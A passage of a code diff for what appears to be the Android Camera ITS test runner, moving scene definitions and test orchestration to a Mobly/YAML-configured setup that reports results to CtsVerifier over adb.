+RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}
+ITS_TEST_ACTIVITY = 'com.android.cts.verifier/.camera.its.ItsTestActivity'
+ACTION_ITS_RESULT = 'com.android.cts.verifier.camera.its.ACTION_ITS_RESULT'
+EXTRA_VERSION = 'camera.its.extra.VERSION'
+CURRENT_ITS_VERSION = '1.0'  # version number to sync with CtsVerifier
+EXTRA_CAMERA_ID = 'camera.its.extra.CAMERA_ID'
+EXTRA_RESULTS = 'camera.its.extra.RESULTS'
+TIME_KEY_START = 'start'
+TIME_KEY_END = 'end'
+VALID_CONTROLLERS = ('arduino', 'canakit')
 
 # All possible scenes
 # Notes on scene names:
 #   scene*_1/2/... are same scene split to load balance run times for scenes
 #   scene*_a/b/... are similar scenes that share one or more tests
-ALL_SCENES = ['scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b',
-              'scene2_c', 'scene2_d', 'scene2_e', 'scene3', 'scene4',
-              'scene5', 'scene6', 'sensor_fusion', 'scene_change']
+_ALL_SCENES = [
+    'scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b', 'scene2_c',
+    'scene2_d', 'scene2_e', 'scene3', 'scene4', 'scene5', 'scene6',
+    'sensor_fusion', 'scene_change'
+]
+
+# Scenes that can be automated through tablet display
+_AUTO_SCENES = [
+    'scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b', 'scene2_c',
+    'scene2_d', 'scene2_e', 'scene3', 'scene4', 'scene6', 'scene_change'
+]
 
 # Scenes that are logically grouped and can be called as group
-GROUPED_SCENES = {
+_GROUPED_SCENES = {
         'scene1': ['scene1_1', 'scene1_2'],
         'scene2': ['scene2_a', 'scene2_b', 'scene2_c', 'scene2_d', 'scene2_e']
 }
 
-# Scenes that can be automated through tablet display
-AUTO_SCENES = ['scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b',
-               'scene2_c', 'scene2_d', 'scene2_e', 'scene3', 'scene4',
-               'scene6', 'scene_change']
-
-SCENE_REQ = {
-        'scene0': None,
-        'scene1_1': 'A grey card covering at least the middle 30% of the scene',
-        'scene1_2': 'A grey card covering at least the middle 30% of the scene',
-        'scene2_a': 'The picture in tests/scene2_a.pdf with 3 faces',
-        'scene2_b': 'The picture in tests/scene2_b.pdf with 3 faces',
-        'scene2_c': 'The picture in tests/scene2_c.pdf with 3 faces',
-        'scene2_d': 'The picture in tests/scene2_d.pdf with 3 faces',
-        'scene2_e': 'The picture in tests/scene2_e.pdf with 3 faces',
-        'scene3': 'The ISO 12233 chart',
-        'scene4': 'A specific test page of a circle covering at least the '
-                  'middle 50% of the scene. See CameraITS.pdf section 2.3.4 '
-                  'for more details',
-        'scene5': 'Capture images with a diffuser attached to the camera. See '
-                  'CameraITS.pdf section 2.3.4 for more details',
-        'scene6': 'A specific test page of a grid of 9x5 circles circle '
-                  'middle 50% of the scene.',
-        'sensor_fusion': 'Rotating checkboard pattern. See '
-                         'sensor_fusion/SensorFusion.pdf for detailed '
-                         'instructions.\nNote that this test will be skipped '
-                         'on devices not supporting REALTIME camera timestamp.',
-        'scene_change': 'The picture in tests/scene_change.pdf with faces'
-}
-
-SCENE_EXTRA_ARGS = {
-        'scene5': ['doAF=False']
-}
-
-# Not yet mandated tests ['test', first_api_level mandatory]
-# ie. ['test_test_patterns', 30] is MANDATED for first_api_level >= 30
-NOT_YET_MANDATED = {
-        'scene0': [
-                ['test_test_patterns', 30],
-                ['test_tonemap_curve', 30]
-        ],
-        'scene1_1': [
-                ['test_ae_precapture_trigger', 28],
-                ['test_channel_saturation', 29]
-        ],
-        'scene1_2': [],
-        'scene2_a': [
-                ['test_jpeg_quality', 30]
-        ],
-        'scene2_b': [
-                ['test_auto_per_frame_control', NOT_YET_MANDATED_ALL]
-        ],
-        'scene2_c': [],
-        'scene2_d': [
-                ['test_num_faces', 30]
-        ],
-        'scene2_e': [
-                ['test_num_faces', 30],
-                ['test_continuous_picture', 30]
-        ],
-        'scene3': [],
-        'scene4': [],
-        'scene5': [],
-        'scene6': [
-                ['test_zoom', 30]
-        ],
-        'sensor_fusion': [],
-        'scene_change': [
-                ['test_scene_change', 31]
-        ]
-}
-
-# Must match mHiddenPhysicalCameraSceneIds in ItsTestActivity.java
-HIDDEN_PHYSICAL_CAMERA_TESTS = {
-        'scene0': [
-                'test_burst_capture',
-                'test_metadata',
-                'test_read_write',
-                'test_sensor_events',
-                'test_unified_timestamps'
-        ],
-        'scene1_1': [
-                'test_exposure',
-                'test_dng_noise_model',
-                'test_linearity',
-        ],
-        'scene1_2': [
-                'test_raw_exposure',
-                'test_raw_sensitivity'
-        ],
-        'scene2_a': [
-                'test_faces',
-                'test_num_faces'
-        ],
-        'scene2_b': [],
-        'scene2_c': [],
-        'scene2_d': [],
-        'scene2_e': [],
-        'scene3': [],
-        'scene4': [
-                'test_aspect_ratio_and_crop'
-        ],
-        'scene5': [],
-        'scene6': [],
-        'sensor_fusion': [
-                'test_sensor_fusion'
-        ],
-        'scene_change': []
-}
+# Scenes that have to be run manually regardless of configuration
+_MANUAL_SCENES = ['scene5']
 
 # Tests run in more than 1 scene.
 # List is created of type ['scene_source', 'test_to_be_repeated']
 # for the test run in current scene.
-REPEATED_TESTS = {
-        'scene0': [],
-        'scene1_1': [],
-        'scene1_2': [],
-        'scene2_a': [],
-        'scene2_b': [
-                ['scene2_a', 'test_num_faces']
-        ],
-        'scene2_c': [
-                ['scene2_a', 'test_num_faces']
-        ],
-        'scene2_d': [
-                ['scene2_a', 'test_num_faces']
-        ],
-        'scene2_e': [
-                ['scene2_a', 'test_num_faces']
-        ],
-        'scene3': [],
-        'scene4': [],
-        'scene5': [],
-        'scene6': [],
-        'sensor_fusion': [],
-        'scene_change': []
+_REPEATED_TESTS = {
+    'scene0': [],
+    'scene1_1': [],
+    'scene1_2': [],
+    'scene2_a': [],
+    'scene2_b': [['scene2_a', 'test_num_faces']],
+    'scene2_c': [['scene2_a', 'test_num_faces']],
+    'scene2_d': [['scene2_a', 'test_num_faces']],
+    'scene2_e': [['scene2_a', 'test_num_faces']],
+    'scene3': [],
+    'scene4': [],
+    'scene5': [],
+    'scene6': [],
+    'sensor_fusion': [],
+    'scene_change': []
+}
+
+# Scene requirements for manual testing.
+_SCENE_REQ = {
+    'scene0': None,
+    'scene1_1': 'A grey card covering at least the middle 30% of the scene',
+    'scene1_2': 'A grey card covering at least the middle 30% of the scene',
+    'scene2_a': 'The picture with 3 faces in tests/scene2_a/scene2_a.pdf',
+    'scene2_b': 'The picture with 3 faces in tests/scene2_b/scene2_b.pdf',
+    'scene2_c': 'The picture with 3 faces in tests/scene2_c/scene2_c.pdf',
+    'scene2_d': 'The picture with 3 faces in tests/scene2_d/scene2_d.pdf',
+    'scene2_e': 'The picture with 3 faces in tests/scene2_e/scene2_e.pdf',
+    'scene3': 'The ISO12233 chart',
+    'scene4': 'A test chart of a circle covering at least the middle 50% of '
+              'the scene. See tests/scene4/scene4.pdf',
+    'scene5': 'Capture images with a diffuser attached to the camera. '
+              'See CameraITS.pdf section 2.3.4 for more details',
+    'scene6': 'A grid of black circles on a white background. '
+              'See tests/scene6/scene6.pdf',
+    'sensor_fusion': 'A checkerboard pattern for phone to rotate in front of '
+                     'in tests/sensor_fusion/checkerboard.pdf\n'
+                     'See tests/sensor_fusion/SensorFusion.pdf for detailed '
+                     'instructions.\nNote that this test will be skipped '
+                     'on devices not supporting REALTIME camera timestamp.',
+    'scene_change': 'The picture with 3 faces in tests/scene2_e/scene2_e.pdf',
 }
 
 
-def determine_not_yet_mandated_tests(device_id):
-    """Determine from NEW_YET_MANDATED & phone info not_yet_mandated tests.
+SUB_CAMERA_TESTS = {
+    'scene0': [
+        'test_burst_capture',
+        'test_metadata',
+        'test_read_write',
+        'test_sensor_events',
+        'test_solid_color_test_pattern',
+        'test_unified_timestamps',
+    ],
+    'scene1_1': [
+        'test_exposure',
+        'test_dng_noise_model',
+        'test_linearity',
+    ],
+    'scene1_2': [
+        'test_raw_exposure',
+        'test_raw_sensitivity',
+    ],
+    'scene2_a': [
+        'test_faces',
+        'test_num_faces',
+    ],
+    'scene4': [
+        'test_aspect_ratio_and_crop',
+    ],
+    'sensor_fusion': [
+        'test_sensor_fusion',
+    ],
+}
 
-    Args:
-        device_id:      string of device id number
+_DST_SCENE_DIR = '/mnt/sdcard/Download/'
+MOBLY_TEST_SUMMARY_TXT_FILE = 'test_mobly_summary.txt'
 
-    Returns:
-        dict of not yet mandated tests
-    """
-    # initialize not_yet_mandated
-    not_yet_mandated = {}
-    for scene in ALL_SCENES:
-        not_yet_mandated[scene] = []
 
-    # Determine first API level for device
-    first_api_level = its.device.get_first_api_level(device_id)
+def run(cmd):
+  """Replaces os.system call, while hiding stdout+stderr messages."""
+  with open(os.devnull, 'wb') as devnull:
+    subprocess.check_call(cmd.split(), stdout=devnull, stderr=subprocess.STDOUT)
 
-    # Determine which scenes are not yet mandated for first api level
-    for scene, tests in NOT_YET_MANDATED.items():
-        for test in tests:
-            if test[1] >= first_api_level:
-                not_yet_mandated[scene].append(test[0])
-    return not_yet_mandated
+
+def report_result(device_id, camera_id, results):
+  """Sends a pass/fail result to the device, via an intent.
+
+  Args:
+   device_id: The ID string of the device to report the results to.
+   camera_id: The ID string of the camera for which to report pass/fail.
+   results: a dictionary contains all ITS scenes as key and result/summary of
+            current ITS run. See test_report_result unit test for an example.
+  """
+  adb = f'adb -s {device_id}'
+
+  # Start ItsTestActivity to receive test results
+  cmd = f'{adb} shell am start {ITS_TEST_ACTIVITY} --activity-brought-to-front'
+  run(cmd)
+  time.sleep(ACTIVITY_START_WAIT)
+
+  # Validate/process results argument
+  for scene in results:
+    if RESULT_KEY not in results[scene]:
+      raise ValueError(f'ITS result not found for {scene}')
+    if results[scene][RESULT_KEY] not in RESULT_VALUES:
+      raise ValueError(f'Unknown ITS result for {scene}: {results[RESULT_KEY]}')
+    if SUMMARY_KEY in results[scene]:
+      device_summary_path = f'/sdcard/its_camera{camera_id}_{scene}.txt'
+      run('%s push %s %s' %
+          (adb, results[scene][SUMMARY_KEY], device_summary_path))
+      results[scene][SUMMARY_KEY] = device_summary_path
+
+  json_results = json.dumps(results)
+  cmd = (f"{adb} shell am broadcast -a {ACTION_ITS_RESULT} --es {EXTRA_VERSION}"
+         f" {CURRENT_ITS_VERSION} --es {EXTRA_CAMERA_ID} {camera_id} --es "
+         f"{EXTRA_RESULTS} \'{json_results}\'")
+  if len(cmd) > 8000:
+    logging.info('ITS command string might be too long! len:%s', len(cmd))
+  run(cmd)
+
+
+def load_scenes_on_tablet(scene, tablet_id):
+  """Copies scenes onto the tablet before running the tests.
+
+  Args:
+    scene: Name of the scene to copy image files.
+    tablet_id: adb id of tablet
+  """
+  logging.info('Copying files to tablet: %s', tablet_id)
+  scene_dir = os.listdir(
+      os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', scene))
+  for file_name in scene_dir:
+    if file_name.endswith('.pdf'):
+      src_scene_file = os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests',
+                                    scene, file_name)
+      cmd = f'adb -s {tablet_id} push {src_scene_file} {_DST_SCENE_DIR}'
+      subprocess.Popen(cmd.split())
+  time.sleep(LOAD_SCENE_DELAY)
+  logging.info('Finished copying files to tablet.')
+
+
+def check_manual_scenes(device_id, camera_id, scene, out_path):
+  """Halt run to change scenes.
+
+  Args:
+    device_id: id of device
+    camera_id: id of camera
+    scene: Name of the scene to copy image files.
+    out_path: output file location
+  """
+  with its_session_utils.ItsSession(
+      device_id=device_id,
+      camera_id=camera_id) as cam:
+    props = cam.get_camera_properties()
+
+    while True:
+      input(f'\n Press <ENTER> after positioning camera {camera_id} with '
+            f'{scene}.\n The scene setup should be: \n  {_SCENE_REQ[scene]}\n')
+      # Converge 3A prior to capture
+      if scene == 'scene5':
+        cam.do_3a(do_af=False, lock_ae=True, lock_awb=True)
+      else:
+        cam.do_3a()
+      req, fmt = capture_request_utils.get_fastest_auto_capture_settings(props)
+      logging.info('Capturing an image to check the test scene')
+      cap = cam.do_capture(req, fmt)
+      img = image_processing_utils.convert_capture_to_rgb_image(cap)
+      img_name = os.path.join(out_path, f'test_{scene}.jpg')
+      logging.info('Please check scene setup in %s', img_name)
+      image_processing_utils.write_image(img, img_name)
+      choice = input('Is the image okay for ITS {scene}? (Y/N)').lower()
+      if choice == 'y':
+        break
+
+
+def get_config_file_contents():
+  """Read the config file contents from a YML file.
+
+  Args:
+    None
+
+  Returns:
+    config_file_contents: a dict read from config.yml
+  """
+  with open(CONFIG_FILE) as file:
+    config_file_contents = yaml.load(file, yaml.FullLoader)
+  return config_file_contents
+
+
+def get_test_params(config_file_contents):
+  """Reads the config file parameters.
+
+  Args:
+    config_file_contents: dict read from config.yml file
+
+  Returns:
+    dict of test parameters
+  """
+  test_params = None
+  for _, j in config_file_contents.items():
+    for datadict in j:
+      test_params = datadict.get('TestParams')
+  return test_params
+
+
+def get_device_serial_number(device, config_file_contents):
+  """Returns the serial number of the device with label from the config file.
+
+  The config file contains TestBeds dictionary which contains Controllers and
+  Android Device dicts.The two devices used by the test per box are listed
+  here labels dut and tablet. Parse through the nested TestBeds dict to get
+  the Android device details.
+
+  Args:
+    device: String device label as specified in config file.dut/tablet
+    config_file_contents: dict read from config.yml file
+  """
+
+  for _, j in config_file_contents.items():
+    for datadict in j:
+      android_device_contents = datadict.get('Controllers')
+      for device_dict in android_device_contents.get('AndroidDevice'):
+        for _, label in device_dict.items():
+          if label == 'tablet':
+            tablet_device_id = device_dict.get('serial')
+          if label == 'dut':
+            dut_device_id = device_dict.get('serial')
+  if device == 'tablet':
+    return tablet_device_id
+  else:
+    return dut_device_id
 
 
 def expand_scene(scene, scenes):
-    """Expand a grouped scene and append its sub_scenes to scenes.
+  """Expand a grouped scene and append its sub_scenes to scenes.
 
-    Args:
-        scene:      scene in GROUPED_SCENES dict
-        scenes:     list of scenes to append to
+  Args:
+    scene:      scene in GROUPED_SCENES dict
+    scenes:     list of scenes to append to
 
-    Returns:
-        updated scenes
-    """
-    print 'Expanding %s to %s.' % (scene, str(GROUPED_SCENES[scene]))
-    for sub_scene in GROUPED_SCENES[scene]:
-        scenes.append(sub_scene)
+  Returns:
+     updated scenes
+  """
+  logging.info('Expanding %s  to %s.', scene, str(_GROUPED_SCENES[scene]))
+  for sub_scene in _GROUPED_SCENES[scene]:
+    scenes.append(sub_scene)
 
 
-def run_subprocess_with_timeout(cmd, fout, ferr, outdir):
-    """Run subprocess with a timeout.
+def get_updated_yml_file(yml_file_contents):
+  """Create a new yml file and write the testbed contents in it.
 
-    Args:
-        cmd:    list containing python command
-        fout:   stdout file for the test
-        ferr:   stderr file for the test
-        outdir: dir location for fout/ferr
+  This testbed file is per box and contains all the parameters and
+  device id used by the mobly tests.
 
-    Returns:
-        process status or PROC_TIMEOUT_CODE if timer maxes
-    """
+  Args:
+   yml_file_contents: Data to write in yml file.
 
-    proc = subprocess.Popen(
-            cmd, stdout=fout, stderr=ferr, cwd=outdir)
-    timer = threading.Timer(PROC_TIMEOUT_TIME, proc.kill)
-
-    try:
-        timer.start()
-        proc.communicate()
-        test_code = proc.returncode
-    finally:
-        timer.cancel()
-
-    if test_code < 0:
-        return PROC_TIMEOUT_CODE
-    else:
-        return test_code
-
-
-def calc_camera_fov(camera_id, hidden_physical_id):
-    """Determine the camera field of view from internal params."""
-    with ItsSession(camera_id, hidden_physical_id) as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        focal_ls = props['android.lens.info.availableFocalLengths']
-        if len(focal_ls) > 1:
-            print 'Doing capture to determine logical camera focal length'
-            cap = cam.do_capture(its.objects.auto_capture_request())
-            focal_l = cap['metadata']['android.lens.focalLength']
-        else:
-            focal_l = focal_ls[0]
-    sensor_size = props['android.sensor.info.physicalSize']
-    diag = math.sqrt(sensor_size['height'] ** 2 +
-                     sensor_size['width'] ** 2)
-    try:
-        fov = str(round(2 * math.degrees(math.atan(diag / (2 * focal_l))), 2))
-    except ValueError:
-        fov = str(0)
-    print 'Calculated FoV: %s' % fov
-    return fov
-
-
-def evaluate_socket_failure(err_file_path):
-    """Determine if test fails due to socket FAIL."""
-    socket_fail = False
-    with open(err_file_path, 'r') as ferr:
-        for line in ferr:
-            if (line.find('socket.error') != -1 or
-                line.find('socket.timeout') != -1 or
-                line.find('Problem with socket') != -1):
-                socket_fail = True
-    return socket_fail
-
-
-def run_rotations(camera_id, test_name):
-    """Determine if camera rotation is run for this test."""
-    with ItsSession(camera_id) as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        method = {'test_sensor_fusion': {
-                          'flag': its.caps.sensor_fusion_test_capable(props, cam),
-                          'runs': 10},
-                  'test_multi_camera_frame_sync': {
-                          'flag': its.caps.multi_camera_frame_sync_capable(props),
-                          'runs': 5}
-                 }
-        return method[test_name]
+  Returns:
+    Updated yml file contents.
+  """
+  os.chmod(YAML_FILE_DIR, 0o755)
+  _, new_yaml_file = tempfile.mkstemp(
+      suffix='.yml', prefix='config_', dir=YAML_FILE_DIR)
+  with open(new_yaml_file, 'w') as f:
+    yaml.dump(yml_file_contents, stream=f, default_flow_style=False)
+  new_yaml_file_name = os.path.basename(new_yaml_file)
+  return new_yaml_file_name
 
 
 def main():
-    """Run all the automated tests, saving intermediate files, and producing
-    a summary/report of the results.
+  """Run all the Camera ITS automated tests.
 
     Script should be run from the top-level CameraITS directory.
 
     Command line arguments:
         camera:  the camera(s) to be tested. Use comma to separate multiple
                  camera Ids. Ex: "camera=0,1" or "camera=1"
-        device:  device id for adb
         scenes:  the test scene(s) to be executed. Use comma to separate
                  multiple scenes. Ex: "scenes=scene0,scene1_1" or
                  "scenes=0,1_1,sensor_fusion" (sceneX can be abbreviated by X
                  where X is scene name minus 'scene')
-        chart:   another android device served as test chart display.
-                 When this argument presents, change of test scene
-                 will be handled automatically. Note that this argument
-                 requires special physical/hardware setup to work and may not
-                 work on all android devices.
-        result:  Device ID to forward results to (in addition to the device
-                 that the tests are running on).
-        rot_rig: ID of the rotation rig being used (formatted as
-                 "<vendor ID>:<product ID>:<channel #>" or "default" for
-                 Canakit-based rotators or "arduino:<channel #>" for
-                 Arduino-based rotators)
-        tmp_dir: location of temp directory for output files
-        skip_scene_validation: force skip scene validation. Used when test scene
-                 is setup up front and don't require tester validation.
-        dist:    chart distance in cm.
-    """
+  """
+  logging.basicConfig(level=logging.INFO)
+  # Make output directories to hold the generated files.
+  topdir = tempfile.mkdtemp(prefix='CameraITS_')
+  subprocess.call(['chmod', 'g+rx', topdir])
+  logging.info('Saving output files to: %s', topdir)
 
-    camera_id_combos = []
-    scenes = []
-    chart_host_id = None
-    result_device_id = None
-    rot_rig_id = None
-    tmp_dir = None
-    skip_scene_validation = False
-    chart_distance = its.cv2image.CHART_DISTANCE_RFOV
-    chart_level = CHART_LEVEL
-    one_camera_argv = sys.argv[1:]
+  scenes = []
+  camera_id_combos = []
+  # Override camera & scenes with cmd line values if available
+  for s in list(sys.argv[1:]):
+    if 'scenes=' in s:
+      scenes = s.split('=')[1].split(',')
+    elif 'camera=' in s:
+      camera_id_combos = s.split('=')[1].split(',')
 
-    for s in list(sys.argv[1:]):
-        if s[:7] == 'camera=' and len(s) > 7:
-            camera_ids = s[7:].split(',')
-            camera_id_combos = its.device.parse_camera_ids(camera_ids)
-            one_camera_argv.remove(s)
-        elif s[:7] == 'scenes=' and len(s) > 7:
-            scenes = s[7:].split(',')
-        elif s[:6] == 'chart=' and len(s) > 6:
-            chart_host_id = s[6:]
-        elif s[:7] == 'result=' and len(s) > 7:
-            result_device_id = s[7:]
-        elif s[:8] == 'rot_rig=' and len(s) > 8:
-            rot_rig_id = s[8:]  # valid values: 'default', '$VID:$PID:$CH',
-            # or 'arduino:$CH'. The default '$VID:$PID:$CH' is '04d8:fc73:1'
-        elif s[:8] == 'tmp_dir=' and len(s) > 8:
-            tmp_dir = s[8:]
-        elif s == 'skip_scene_validation':
-            skip_scene_validation = True
-        elif s[:5] == 'dist=' and len(s) > 5:
-            chart_distance = float(re.sub('cm', '', s[5:]))
-        elif s[:11] == 'brightness=' and len(s) > 11:
-            chart_level = s[11:]
-
-    chart_dist_arg = 'dist= ' + str(chart_distance)
-    chart_level_arg = 'brightness=' + str(chart_level)
-    auto_scene_switch = chart_host_id is not None
-    merge_result_switch = result_device_id is not None
-
-    # Run through all scenes if user does not supply one
-    possible_scenes = AUTO_SCENES if auto_scene_switch else ALL_SCENES
-    if not scenes:
-        scenes = possible_scenes
+  # Read config file and extract relevant TestBed
+  config_file_contents = get_config_file_contents()
+  for i in config_file_contents['TestBeds']:
+    if scenes == ['sensor_fusion']:
+      if TEST_KEY_SENSOR_FUSION not in i['Name'].lower():
+        config_file_contents['TestBeds'].remove(i)
     else:
-        # Validate user input scene names
-        valid_scenes = True
-        temp_scenes = []
-        for s in scenes:
-            if s in possible_scenes:
-                temp_scenes.append(s)
-            elif GROUPED_SCENES.has_key(s):
-                expand_scene(s, temp_scenes)
-            else:
-                try:
-                    # Try replace "X" to "sceneX"
-                    scene_str = "scene" + s
-                    if scene_str in possible_scenes:
-                        temp_scenes.append(scene_str)
-                    elif GROUPED_SCENES.has_key(scene_str):
-                        expand_scene(scene_str, temp_scenes)
-                    else:
-                        valid_scenes = False
-                        break
-                except ValueError:
-                    valid_scenes = False
-                    break
+      if TEST_KEY_SENSOR_FUSION in i['Name'].lower():
+        config_file_contents['TestBeds'].remove(i)
 
-        if not valid_scenes:
-            print 'Unknown scene specified:', s
-            assert False
-        # assign temp_scenes back to scenes and remove duplicates
-        scenes = sorted(set(temp_scenes), key=temp_scenes.index)
+  # Get test parameters from config file
+  test_params_content = get_test_params(config_file_contents)
+  if not camera_id_combos:
+    camera_id_combos = str(test_params_content['camera']).split(',')
+  if not scenes:
+    scenes = test_params_content['scene'].split(',')
 
-    # Make output directories to hold the generated files.
-    topdir = tempfile.mkdtemp(dir=tmp_dir)
-    subprocess.call(['chmod', 'g+rx', topdir])
-    print "Saving output files to:", topdir, "\n"
+  device_id = get_device_serial_number('dut', config_file_contents)
 
-    device_id = its.device.get_device_id()
-    device_id_arg = "device=" + device_id
-    print "Testing device " + device_id
+  config_file_test_key = config_file_contents['TestBeds'][0]['Name'].lower()
+  if TEST_KEY_TABLET in config_file_test_key:
+    tablet_id = get_device_serial_number('tablet', config_file_contents)
+  else:
+    tablet_id = None
 
-    # Check CtsVerifier SDK level
-    # Here we only do warning as there is no guarantee on pm dump output formt not changed
-    # Also sometimes it's intentional to run mismatched versions
-    cmd = "adb -s %s shell pm dump com.android.cts.verifier" % (device_id)
-    dump_path = os.path.join(topdir, 'CtsVerifier.txt')
-    with open(dump_path, 'w') as fout:
-        fout.write('ITS minimum supported SDK version is %d\n--\n' % (MIN_SUPPORTED_SDK_VERSION))
-        fout.flush()
-        ret_code = subprocess.call(cmd.split(), stdout=fout)
+  testing_sensor_fusion_with_controller = False
+  if TEST_KEY_SENSOR_FUSION in config_file_test_key:
+    if test_params_content['rotator_cntl'].lower() in VALID_CONTROLLERS:
+      testing_sensor_fusion_with_controller = True
 
-    if ret_code != 0:
-        print "Warning: cannot get CtsVerifier SDK version. Is CtsVerifier installed?"
+  # Prepend 'scene' if not specified at cmd line
+  for i, s in enumerate(scenes):
+    if (not s.startswith('scene') and
+        not s.startswith(('sensor_fusion', '<scene-name>'))):
+      scenes[i] = f'scene{s}'
 
-    ctsv_version = None
-    ctsv_version_name = None
-    with open(dump_path, 'r') as f:
-        target_sdk_found = False
-        version_name_found = False
-        for line in f:
-            match = re.search('targetSdk=([0-9]+)', line)
-            if match:
-                ctsv_version = int(match.group(1))
-                target_sdk_found = True
-            match = re.search('versionName=([\S]+)$', line)
-            if match:
-                ctsv_version_name = match.group(1)
-                version_name_found = True
-            if target_sdk_found and version_name_found:
-                break
+  # Determine if manual run
+  if tablet_id is not None and not set(scenes).intersection(_MANUAL_SCENES):
+    auto_scene_switch = True
+  else:
+    auto_scene_switch = False
+    logging.info('Manual testing: no tablet defined or testing scene5.')
 
-    if ctsv_version is None:
-        print "Warning: cannot get CtsVerifier SDK version. Is CtsVerifier installed?"
-    elif ctsv_version < MIN_SUPPORTED_SDK_VERSION:
-        print "Warning: CtsVerifier version (%d) < ITS version (%d), is this intentional?" % (
-                ctsv_version, MIN_SUPPORTED_SDK_VERSION)
+  logging.info('Running ITS on device: %s, camera: %s, scene: %s',
+               device_id, camera_id_combos, scenes)
+
+  for camera_id in camera_id_combos:
+    test_params_content['camera'] = camera_id
+    results = {}
+
+    # Run through all scenes if user does not supply one and config file doesn't
+    # have specific scene name listed.
+    if its_session_utils.SUB_CAMERA_SEPARATOR in camera_id:
+      possible_scenes = list(SUB_CAMERA_TESTS.keys())
+      if auto_scene_switch:
+        possible_scenes.remove('sensor_fusion')
     else:
-        print "CtsVerifier targetSdk is", ctsv_version
-        if ctsv_version_name:
-            print "CtsVerifier version name is", ctsv_version_name
+      possible_scenes = _AUTO_SCENES if auto_scene_switch else _ALL_SCENES
 
-    # Hard check on ItsService/host script version that should catch incompatible APK/script
-    with ItsSession() as cam:
-        cam.check_its_version_compatible()
-
-    # Correctness check for devices
-    device_bfp = its.device.get_device_fingerprint(device_id)
-    assert device_bfp is not None
-
-    if auto_scene_switch:
-        chart_host_bfp = its.device.get_device_fingerprint(chart_host_id)
-        assert chart_host_bfp is not None
-
-    if merge_result_switch:
-        result_device_bfp = its.device.get_device_fingerprint(result_device_id)
-        assert_err_msg = ('Cannot merge result to a different build, from '
-                          '%s to %s' % (device_bfp, result_device_bfp))
-        assert device_bfp == result_device_bfp, assert_err_msg
-
-    # user doesn't specify camera id, run through all cameras
-    if not camera_id_combos:
-        with its.device.ItsSession() as cam:
-            camera_ids = cam.get_camera_ids()
-            camera_id_combos = its.device.parse_camera_ids(camera_ids)
-
-    print "Running ITS on camera: %s, scene %s" % (camera_id_combos, scenes)
-
-    if auto_scene_switch:
-        # merge_result only supports run_parallel_tests
-        if merge_result_switch and camera_ids[0] == "1":
-            print "Skip chart screen"
-            time.sleep(1)
+    if not scenes or '<scene-name>' in scenes:
+      scenes = possible_scenes
+    else:
+      # Validate user input scene names
+      valid_scenes = True
+      temp_scenes = []
+      for s in scenes:
+        if s in possible_scenes:
+          temp_scenes.append(s)
+        elif s in _GROUPED_SCENES:
+          expand_scene(s, temp_scenes)
         else:
-            print "Waking up chart screen: ", chart_host_id
-            screen_id_arg = ("screen=%s" % chart_host_id)
-            cmd = ["python", os.path.join(os.environ["CAMERA_ITS_TOP"], "tools",
-                                          "wake_up_screen.py"), screen_id_arg,
-                   chart_level_arg]
-            wake_code = subprocess.call(cmd)
-            assert wake_code == 0
+          valid_scenes = False
+          raise ValueError(f'Unknown scene specified: {s}')
 
-    for id_combo in camera_id_combos:
-        # Initialize test results
-        results = {}
-        result_key = ItsSession.RESULT_KEY
-        for s in ALL_SCENES:
-            results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
+      # assign temp_scenes back to scenes and remove duplicates
+      scenes = sorted(set(temp_scenes), key=temp_scenes.index)
 
-        camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
-        id_combo_string = id_combo.id
-        has_hidden_sub_camera = id_combo.sub_id is not None
-        if has_hidden_sub_camera:
-            id_combo_string += ItsSession.CAMERA_ID_TOKENIZER + id_combo.sub_id
-            scenes = [scene for scene in scenes if HIDDEN_PHYSICAL_CAMERA_TESTS[scene]]
-        # Loop capturing images until user confirm test scene is correct
-        camera_id_arg = "camera=" + id_combo_string
-        print "Preparing to run ITS on camera", id_combo_string, "for scenes ", scenes
+    for s in _ALL_SCENES:
+      results[s] = {RESULT_KEY: RESULT_NOT_EXECUTED}
+    # A subdir in topdir will be created for each camera_id. All scene test
+    # output logs for each camera id will be stored in this subdir.
+    # This output log path is a mobly param : LogPath
+    cam_id_string = 'cam_id_%s' % (
+        camera_id.replace(its_session_utils.SUB_CAMERA_SEPARATOR, '_'))
+    mobly_output_logs_path = os.path.join(topdir, cam_id_string)
+    os.mkdir(mobly_output_logs_path)
+    tot_pass = 0
+    for s in scenes:
+      test_params_content['scene'] = s
+      results[s]['TEST_STATUS'] = []
 
-        os.mkdir(os.path.join(topdir, id_combo_string))
-        for d in scenes:
-            os.mkdir(os.path.join(topdir, id_combo_string, d))
+      # unit is millisecond for execution time record in CtsVerifier
+      scene_start_time = int(round(time.time() * 1000))
+      scene_test_summary = f'Cam{camera_id} {s}' + '\n'
+      mobly_scene_output_logs_path = os.path.join(mobly_output_logs_path, s)
 
-        tot_tests = []
-        tot_pass = 0
-        not_yet_mandated = determine_not_yet_mandated_tests(device_id)
-        for scene in scenes:
-            # unit is millisecond for execution time record in CtsVerifier
-            scene_start_time = int(round(time.time() * 1000))
-            skip_code = None
-            tests = [(s[:-3], os.path.join('tests', scene, s))
-                     for s in os.listdir(os.path.join('tests', scene))
-                     if s[-3:] == '.py' and s[:4] == 'test']
-            if REPEATED_TESTS[scene]:
-                for t in REPEATED_TESTS[scene]:
-                    tests.append((t[1], os.path.join('tests', t[0], t[1]+'.py')))
-            tests.sort()
-            tot_tests.extend(tests)
+      if auto_scene_switch:
+        # Copy scene images onto the tablet
+        if s not in ['scene0']:
+          load_scenes_on_tablet(s, tablet_id)
+      else:
+        # Check manual scenes for correctness
+        if s not in ['scene0'] and not testing_sensor_fusion_with_controller:
+          check_manual_scenes(device_id, camera_id, s, mobly_output_logs_path)
 
-            summary = 'Cam' + id_combo_string + ' ' + scene + '\n'
-            numpass = 0
-            numskip = 0
-            num_not_mandated_fail = 0
-            numfail = 0
-            validate_switch = True
-            if SCENE_REQ[scene] is not None:
